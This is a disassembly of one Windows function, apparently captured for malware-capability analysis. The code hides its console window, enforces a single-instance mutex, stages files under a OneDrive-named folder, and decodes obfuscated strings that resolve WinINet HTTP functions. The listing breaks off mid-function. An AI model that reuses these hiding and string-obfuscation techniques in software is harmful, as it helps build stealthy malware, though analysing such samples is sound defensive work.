Function at 0x1400083d0
Capabilities:
Check if file exists
Check mutex on windows
Contain obfuscated stackstrings
Create directory
Encode data using xor
Get common file path
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x468]
sub rsp, 0x540
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x140017048]
xor rax, rsp
mov qword [rbp + 0x410], rax
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea r8, [0x140011b8c]
lea edx, [rdi + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140008452
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400097bd
call fcn.140005ed0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x1f8], 0xf
mov byte [rbp + 0x1e0], dil
lea rcx, [rbp + 0x88]
call fcn.140007e80
mov rbx, rax
lea rax, [rbp + 0x1e0]
cmp rax, rbx
je 0x14000850f
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x1400084d2
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400084cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008547
call fcn.14000eda0
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x1f8], 0xf
mov byte [rbp + 0x1e0], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0x10
jb 0x140008553
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000854e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000854e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000eda0
movdqa xmm0, xmmword [0x140011de0]
movdqu xmmword [rbp + 0x98], xmm0
mov byte [rbp + 0x88], 0
cmp byte [0x140017cd8], 0
jne 0x1400089a2
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0xd0]
call sub.VCRUNTIME140.dll_memset
mov r8d, 1
lea rdx, str.config.txt
lea rcx, [rbp + 0xd0]
call fcn.140009820
nop
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xd0]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
lea rsi, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
test al, al
jne 0x140008860
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov edx, 0x20
lea rcx, [rbp + 0x220]
call fcn.140002170
mov rbx, rax
lea rax, [rbp + 0x1e0]
cmp rax, rbx
je 0x14000867a
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x14000863d
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008638
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400086b2
call fcn.14000eda0
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x1f8], 0xf
mov byte [rbp + 0x1e0], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp + 0x238]
cmp rdx, 0x10
jb 0x1400086be
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400086b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400086b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000eda0
movdqa xmm0, xmmword [0x140011de0]
movdqu xmmword [rbp + 0x230], xmm0
mov byte [rbp + 0x220], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x280]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x280]
call fcn.14000ad80
nop
mov r8d, 2
lea rdx, str.config.txt
lea rcx, [rbp + 0x288]
call fcn.14000bfc0
xor r8d, r8d
test rax, rax
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x280]
je 0x140008736
add rcx, rax
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x140008744
add rcx, rax
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 0x10
cmovae rdx, qword [rbp + 0x1e0]
mov r8, qword [rbp + 0x1f0]
lea rcx, [rbp + 0x280]
call fcn.14000e010
lea rcx, [rbp + 0x288]
call fcn.14000bf00
test rax, rax
jne 0x1400087a2
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x280]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x280], rax
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x27c], edx
mov qword [rbp + 0x288], rsi
cmp qword [rbp + 0x308], 0
je 0x14000881e
mov rax, qword [rbp + 0x2a0]
lea rcx, [rbp + 0x2f8]
cmp qword [rax], rcx
jne 0x14000881e
mov rdx, qword [rbp + 0x318]
mov rcx, qword [rbp + 0x310]
mov qword [rax], rcx
mov rax, qword [rbp + 0x2c0]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x2d8]
mov dword [rax], edx
cmp byte [rbp + 0x304], 0
je 0x140008833
lea rcx, [rbp + 0x288]
call fcn.14000bf00
lea rcx, [rbp + 0x288]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x290]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x328]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x1400088e9
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
movdqa xmm1, xmmword [0x140011de0]
movdqu xmmword [rbp + 0x230], xmm1
mov byte [rbp + 0x220], 0
cmp qword [rbp + 0x160], 0
je 0x1400088d2
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0xd0]
call fcn.14000c840
lea rcx, [rbp + 0xe0]
call fcn.14000bf00
test rax, rax
jne 0x1400088d2
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xd0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
movdqa xmm0, xmmword [0x140011de0]
movdqu xmmword [rbp + 0x230], xmm0
mov byte [rbp + 0x220], 0
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xd0], rax
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xcc], edx
mov qword [rbp + 0xe0], rsi
cmp qword [rbp + 0x160], 0
je 0x140008965
mov rax, qword [rbp + 0xf8]
lea rcx, [rbp + 0x150]
cmp qword [rax], rcx
jne 0x140008965
mov rdx, qword [rbp + 0x170]
mov rcx, qword [rbp + 0x168]
mov qword [rax], rcx
mov rax, qword [rbp + 0x118]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x130]
mov dword [rax], edx
cmp byte [rbp + 0x15c], 0
je 0x14000897a
lea rcx, [rbp + 0xe0]
call fcn.14000bf00
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0xe8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x180]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea r9, [rbp + 0xc8]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400116c0]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x14000976d
mov r13, qword [rbp + 0xc8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], rdi
mov qword [rbp + 0x218], rdi
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp word [r13 + rbx*2], 0
jne 0x1400089f0
movabs rax, 0x7ffffffffffffffe
cmp rbx, rax
ja 0x140009805
mov ecx, 0xa
movabs r14, 0x7fffffffffffffff
mov esi, 7
mov qword [rbp + 0x218], rsi
cmp rbx, 8
jae 0x140008a59
mov qword [rbp + 0x210], rbx
add rbx, rbx
mov r8, rbx
mov rdx, r13
lea rcx, [rbp + 0x200]
call sub.VCRUNTIME140.dll_memcpy
mov word [rbp + rbx + 0x200], di
jmp 0x140008b01
mov r15, rbx
or r15, rsi
cmp r15, rax
jbe 0x140008a6d
mov r15, rax
lea rcx, [r14 + r14]
jmp 0x140008a8d
cmp r15, rcx
cmovb r15, rcx
lea rcx, [r15 + 1]
cmp rcx, r14
ja 0x1400097f9
add rcx, rcx
cmp rcx, 0x1000
jb 0x140008abd
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400097f9
mov rcx, rax
call fcn.14000ef24
test rax, rax
je 0x140008ab6
lea r12, [rax + 0x27]
and r12, 0xffffffffffffffe0
mov qword [r12 - 8], rax
jmp 0x140008acf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140008acc
call fcn.14000ef24
mov r12, rax
jmp 0x140008acf
mov r12, rdi
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x210], rbx
mov qword [rbp + 0x218], r15
add rbx, rbx
mov r8, rbx
mov rdx, r13
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
mov word [r12 + rbx], di
mov r13, qword [rbp + 0xc8]
mov rcx, r13
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x260]
call fcn.14000aec0
nop
mov rbx, qword [rbp + 0x210]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, rbx
cmp rax, 9
jb 0x14000980b
lea r13, [rbp + 0x200]
cmp qword [rbp + 0x218], 8
cmovae r13, qword [rbp + 0x200]
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
lea r12, [rbx + 9]
lea r15, [rbp + 0x28]
cmp r12, 7
jbe 0x140008be8
mov rsi, r12
or rsi, 7
cmp rsi, rcx
jbe 0x140008b80
mov rsi, rcx
lea rcx, [r14 + r14]
jmp 0x140008ba6
cmp rsi, 0xa
mov eax, 0xa
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, r14
ja 0x140009811
add rcx, rcx
cmp rcx, 0x1000
jb 0x140008bd2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140009811
mov rcx, rax
call fcn.14000ef24
test rax, rax
je 0x140008c5c
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x140008be4
test rcx, rcx
je 0x140008be1
call fcn.14000ef24
mov r15, rax
jmp 0x140008be4
mov r15, rdi
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], rsi
add rbx, rbx
mov r8, rbx
mov rdx, r13
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.OneDrive]
movups xmmword [r15 + rbx], xmm0
movzx eax, word [0x140011bb0]
mov word [r15 + rbx + 0x10], ax
mov word [r15 + r12*2], di
mov rdx, qword [rbp + 0x218]
cmp rdx, 8
jb 0x140008c68
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008c63
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000eda0
movups xmm0, xmmword [rbp + 0x28]
movups xmmword [rbp + 0x200], xmm0
movups xmm1, xmmword [rbp + 0x38]
movups xmmword [rbp + 0x210], xmm1
movdqa xmm0, xmmword [0x140011dd0]
movdqu xmmword [rbp + 0x38], xmm0
mov word [rbp + 0x28], di
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x390], xmm0
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm0
movups xmmword [rbp + 0x3c0], xmm0
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
mov qword [rbp + 0x400], rax
lea rcx, [rbp + 0x390]
call fcn.140009e60
nop
lea r8, [rbp + 0x200]
cmp qword [rbp + 0x218], 8
cmovae r8, qword [rbp + 0x200]
mov rax, qword [rbp + 0x210]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x390]
call fcn.14000b620
nop
lea r9, [rbp + 0x240]
cmp qword [rbp + 0x258], 0x10
cmovae r9, qword [rbp + 0x240]
mov rsi, qword [rbp + 0x250]
mov rax, qword [0x1400170b0]
cmp rsi, rax
ja 0x140008d67
lea rbx, [0x140017098]
cmp rax, 0x10
cmovae rbx, qword [0x140017098]
mov qword [0x1400170a8], rsi
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
jmp 0x140008d76
mov rdx, rsi
lea rcx, [0x140017098]
call fcn.14000d640
lea r8, [rbp + 0x260]
cmp qword [rbp + 0x278], 8
cmovae r8, qword [rbp + 0x260]
mov rax, qword [rbp + 0x270]
lea r9, [r8 + rax*2]
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x390]
call fcn.14000b620
nop
mov r8d, 0xa
lea rdx, str.index.txt
lea rcx, [rbp + 0x68]
call fcn.14000b180
movups xmm6, xmmword [rax]
movups xmmword [rbp + 0x48], xmm6
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [0x140017090]
cmp rdx, 0x10
jb 0x140008e16
mov rcx, qword [0x140017078]
inc rdx
cmp rdx, 0x1000
jb 0x140008e11
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140008e71
mov rcx, r8
call fcn.14000eda0
movups xmmword [0x140017078], xmm6
movups xmmword [0x140017088], xmm7
movdqa xmm0, xmmword [0x140011de0]
movdqu xmmword [rbp + 0x58], xmm0
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x140008e7d
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008e78
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14000eda0
movdqa xmm0, xmmword [0x140011de0]
movdqu xmmword [rbp + 0x78], xmm0
mov byte [rbp + 0x68], 0
lea rcx, [rbp + 0x240]
cmp qword [rbp + 0x258], 0x10
cmovae rcx, qword [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140008ecf
lea rcx, [rbp + 0x240]
cmp qword [rbp + 0x258], 0x10
cmovae rcx, qword [rbp + 0x240]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [rbp - 0x68], 0x2c
mov byte [rbp - 0x64], 0x7b
mov byte [rbp - 0x63], 0x45
mov byte [rbp - 0x62], 0x42
mov byte [rbp - 0x61], 0x45
mov byte [rbp - 0x60], 0x42
mov byte [rbp - 0x5f], 0x49
mov byte [rbp - 0x5e], 0x58
mov byte [rbp - 0x5d], 2
mov byte [rbp - 0x5c], 0x48
mov byte [rbp - 0x5b], 0x40
mov byte [rbp - 0x5a], 0x40
xor eax, eax
mov byte [rbp - 0x59], al
movzx eax, byte [rbp - 0x64]
mov rdx, rdi
nop
movzx eax, byte [rbp + rdx - 0x64]
mov ecx, dword [rbp - 0x68]
xor cl, al
mov byte [rbp + rdx - 0x64], cl
inc rdx
cmp rdx, 0xb
jb 0x140008f10
mov byte [rbp - 0x59], 0
lea rcx, [rbp - 0x64]
call fcn.1400024f0
mov qword [0x140017cb8], rax
mov dword [rbp - 8], 0x4d
mov byte [rbp - 4], 4
mov byte [rbp - 3], 0x23
mov byte [rbp - 2], 0x39
mov byte [rbp - 1], 0x28
mov byte [rbp], 0x3f
mov byte [rbp + 1], 0x23
mov byte [rbp + 2], 0x28
mov byte [rbp + 3], 0x39
mov byte [rbp + 4], 2
mov byte [rbp + 5], 0x3d
mov byte [rbp + 6], 0x28
mov byte [rbp + 7], 0x23
mov byte [rbp + 8], 0xc
xor eax, eax
mov byte [rbp + 9], al
movzx eax, byte [rbp - 4]
mov rdx, rdi
movzx eax, byte [rbp + rdx - 4]
mov ecx, dword [rbp - 8]
xor cl, al
mov byte [rbp + rdx - 4], cl
inc rdx
cmp rdx, 0xd
jb 0x140008f82
mov byte [rbp + 9], 0
lea rdx, [rbp - 4]
mov rcx, qword [0x140017cb8]
call fcn.140002440
mov qword [0x140017cd0], rax
mov dword [rsp + 0x38], 0x3f
mov eax, dword [rsp + 0x38]
xor al, 0x49
mov byte [rsp + 0x3c], al
mov eax, dword [rsp + 0x38]
inc al
xor al, 0x6e
mov byte [rsp + 0x3d], al
mov eax, dword [rsp + 0x38]
add al, 2
xor al, 0x74
mov byte [rsp + 0x3e], al
mov eax, dword [rsp + 0x38]
add al, 3
xor al, 0x65
mov byte [rsp + 0x3f], al
mov eax, dword [rsp + 0x38]
add al, 4
xor al, 0x72
mov byte [rsp + 0x40], al
mov eax, dword [rsp + 0x38]
add al, 5
xor al, 0x6e
mov byte [rsp + 0x41], al
mov eax, dword [rsp + 0x38]
add al, 6
xor al, 0x65
mov byte [rsp + 0x42], al
mov eax, dword [rsp + 0x38]
add al, 7
xor al, 0x74
mov byte [rsp + 0x43], al
mov eax, dword [rsp + 0x38]
add al, 8
xor al, 0x43
mov byte [rsp + 0x44], al
mov eax, dword [rsp + 0x38]
add al, 9
xor al, 0x6f
mov byte [rsp + 0x45], al
mov eax, dword [rsp + 0x38]
add al, 0xa
xor al, 0x6e
mov byte [rsp + 0x46], al
mov eax, dword [rsp + 0x38]
add al, 0xb
xor al, 0x6e
mov byte [rsp + 0x47], al
mov eax, dword [rsp + 0x38]
add al, 0xc
xor al, 0x65
mov byte [rsp + 0x48], al
mov eax, dword [rsp + 0x38]
add al, 0xd
xor al, 0x63
mov byte [rsp + 0x49], al
mov eax, dword [rsp + 0x38]
add al, 0xe
xor al, 0x74
mov byte [rsp + 0x4a], al
mov eax, dword [rsp + 0x38]
add al, 0xf
xor al, 0x41
mov byte [rsp + 0x4b], al
xor eax, eax
mov byte [rsp + 0x4c], al
movzx eax, byte [rsp + 0x3c]
mov rdx, rdi
nop dword [rax + rax]
movzx eax, byte [rsp + rdx + 0x3c]
mov ecx, dword [rsp + 0x38]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x3c], cl
inc rdx
cmp rdx, 0x10
jb 0x140009090
mov byte [rsp + 0x4c], 0
lea rdx, [rsp + 0x3c]
mov rcx, qword [0x140017cb8]
call fcn.140002440
mov qword [0x140017cc0], rax
mov byte [rsp + 0x68], 0x53
mov byte [rsp + 0x69], 0x7f
mov byte [rsp + 0x6a], 0x7f
mov byte [rsp + 0x6b], 0x7b
mov byte [rsp + 0x6c], 0x5a
mov byte [rsp + 0x6d], 0x7b
mov byte [rsp + 0x6e], 0x70
mov byte [rsp + 0x6f], 0x79
mov byte [rsp + 0x70], 0x5d
mov byte [rsp + 0x71], 0x70
mov byte [rsp + 0x72], 0x7c
mov byte [rsp + 0x73], 0x80
mov byte [rsp + 0x74], 0x70
mov byte [rsp + 0x75], 0x7e
mov byte [rsp + 0x76], 0x7f
mov byte [rsp + 0x77], 0x4c
mov byte [rsp + 0x78], 0
movzx eax, byte [rsp + 0x68]
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rsp + rcx + 0x68]
sub al, 0xb
mov byte [rsp + rcx + 0x68], al
inc rcx
cmp rcx, 0x10
jb 0x140009130
lea rdx, [rsp + 0x68]
mov rcx, qword [0x140017cb8]
call fcn.140002440
mov qword [0x140017cf8], rax
mov dword [rbp - 0x28], 0x30
mov byte [rbp - 0x24], 0x78
mov byte [rbp - 0x23], 0x44
mov byte [rbp - 0x22], 0x44
mov byte [rbp - 0x21], 0x40
mov byte [rbp - 0x20], 0x71
mov byte [rbp - 0x1f], 0x54
mov byte [rbp - 0x1e], 0x54
mov byte [rbp - 0x1d], 0x62
mov byte [rbp - 0x1c], 0x55
mov byte [rbp - 0x1b], 0x41
mov byte [rbp - 0x1a], 0x45
mov byte [rbp - 0x19], 0x55
mov byte [rbp - 0x18], 0x43
mov byte [rbp - 0x17], 0x44
mov byte [rbp - 0x16], 0x78
mov byte [rbp - 0x15], 0x55
mov byte [rbp - 0x14], 0x51
mov byte [rbp - 0x13], 0x54
mov byte [rbp - 0x12], 0x55
mov byte [rbp - 0x11], 0x42
mov byte [rbp - 0x10], 0x43
mov byte [rbp - 0xf], 0x71
xor eax, eax
mov byte [rbp - 0xe], al
movzx eax, byte [rbp - 0x24]
mov rdx, rdi
nop word [rax + rax]
movzx eax, byte [rbp + rdx - 0x24]
mov ecx, dword [rbp - 0x28]
xor cl, al
mov byte [rbp + rdx - 0x24], cl
inc rdx
cmp rdx, 0x16
jb 0x1400091d0
mov byte [rbp - 0xe], 0
lea rdx, [rbp - 0x24]
mov rcx, qword [0x140017cb8]
call fcn.140002440
mov qword [0x140017d00], rax
mov dword [rsp + 0x50], 0x1f
mov eax, dword [rsp + 0x50]
xor al, 0x48
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x50]
inc al
xor al, 0x74
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x50]
add al, 2
xor al, 0x74
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x50]
add al, 3
xor al, 0x70
mov byte [rsp + 0x57], al
mov eax, dword [rsp + 0x50]
add al, 4
xor al, 0x53
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x50]
add al, 5
xor al, 0x65
mov byte [rsp + 0x59], al
mov eax, dword [rsp + 0x50]
add al, 6
xor al, 0x6e
mov byte [rsp + 0x5a], al
mov eax, dword [rsp + 0x50]
add al, 7
xor al, 0x64
mov byte [rsp + 0x5b], al
mov eax, dword [rsp + 0x50]
add al, 8
xor al, 0x52
mov byte [rsp + 0x5c], al
mov eax, dword [rsp + 0x50]
add al, 9
xor al, 0x65
mov byte [rsp + 0x5d], al
mov eax, dword [rsp + 0x50]
add al, 0xa
xor al, 0x71
mov byte [rsp + 0x5e], al
mov eax, dword [rsp + 0x50]
add al, 0xb
xor al, 0x75
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x50]
add al, 0xc
xor al, 0x65
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x50]
add al, 0xd
xor al, 0x73
mov byte [rsp + 0x61], al
mov eax, dword [rsp + 0x50]
add al, 0xe
xor al, 0x74
mov byte [rsp + 0x62], al
mov eax, dword [rsp + 0x50]
add al, 0xf
xor al, 0x57
mov byte [rsp + 0x63], al
xor eax, eax
mov byte [rsp + 0x64], al
movzx eax, byte [rsp + 0x54]
mov rdx, rdi
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x54]
mov ecx, dword [rsp + 0x50]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x54], cl
inc rdx
cmp rdx, 0x10
jb 0x1400092e0
mov byte [rsp + 0x64], 0
lea rdx, [rsp + 0x54]
mov rcx, qword [0x140017cb8]
call fcn.140002440
mov qword [0x140017ce0], rax
mov dword [rbp + 0x10], 0x54
mov byte [rbp + 0x14], 0x1d
mov byte [rbp + 0x15], 0x3a
mov byte [rbp + 0x16], 0x20
mov byte [rbp + 0x17], 0x31
mov byte [rbp + 0x18], 0x26
mov byte [rbp + 0x19], 0x3a
mov byte [rbp + 0x1a], 0x31
mov byte [rbp + 0x1b], 0x20
mov byte [rbp + 0x1c], 6
mov byte [rbp + 0x1d], 0x31
mov byte [rbp + 0x1e], 0x35
mov byte [rbp + 0x1f], 0x30
mov byte [rbp + 0x20], 0x12
mov byte [rbp + 0x21], 0x3d
mov byte [rbp + 0x22], 0x38
mov byte [rbp + 0x23], 0x31
xor eax, eax
mov byte [rbp + 0x24], al
movzx eax, byte [rbp + 0x14]
mov rdx, rdi
nop word [rax + rax]
movzx eax, byte [rbp + rdx + 0x14]
mov ecx, dword [rbp + 0x10]
xor cl, al
mov byte [rbp + rdx + 0x14], cl
inc rdx
cmp rdx, 0x10
jb 0x140009370
mov byte [rbp + 0x24], 0
lea rdx, [rbp + 0x14]
mov rcx, qword [0x140017cb8]
call fcn.140002440
mov qword [0x140017cf0], rax
mov byte [rbp - 0x80], 0x52
mov byte [rbp - 0x7f], 0x77
mov byte [rbp - 0x7e], 0x7d
mov byte [rbp - 0x7d], 0x6e
mov byte [rbp - 0x7c], 0x7b
mov byte [rbp - 0x7b], 0x77
mov byte [rbp - 0x7a], 0x6e
mov byte [rbp - 0x79], 0x7d
mov byte [rbp - 0x78], 0x4c
mov byte [rbp - 0x77], 0x75
mov byte [rbp - 0x76], 0x78
mov byte [rbp - 0x75], 0x7c
mov byte [rbp - 0x74], 0x6e
mov byte [rbp - 0x73], 0x51
mov byte [rbp - 0x72], 0x6a
mov byte [rbp - 0x71], 0x77
mov byte [rbp - 0x70], 0x6d
mov byte [rbp - 0x6f], 0x75
mov byte [rbp - 0x6e], 0x6e
mov byte [rbp - 0x6d], 0
movzx eax, byte [rbp - 0x80]
mov rcx, rdi
nop dword [rax]
movzx eax, byte [rbp + rcx - 0x80]
sub al, 9
mov byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 0x13
jb 0x140009400
lea rdx, [rbp - 0x80]
mov rcx, qword [0x140017cb8]
call fcn.140002440
mov qword [0x140017ce8], rax
mov dword [rbp - 0x40], 0x64
mov byte [rbp - 0x3c], 0x2d
mov byte [rbp - 0x3b], 0xa
mov byte [rbp - 0x3a], 0x10
mov byte [rbp - 0x39], 1
mov byte [rbp - 0x38], 0x16
mov byte [rbp - 0x37], 0xa
mov byte [rbp - 0x36], 1
mov byte [rbp - 0x35], 0x10
mov byte [rbp - 0x34], 0x37
mov byte [rbp - 0x33], 1
mov byte [rbp - 0x32], 0x10
mov byte [rbp - 0x31], 0x2b
mov byte [rbp - 0x30], 0x14
mov byte [rbp - 0x2f], 0x10
mov byte [rbp - 0x2e], 0xd
mov byte [rbp - 0x2d], 0xb
mov byte [rbp - 0x2c], 0xa
mov byte [rbp - 0x2b], 0x25
xor eax, eax
mov byte [rbp - 0x2a], al
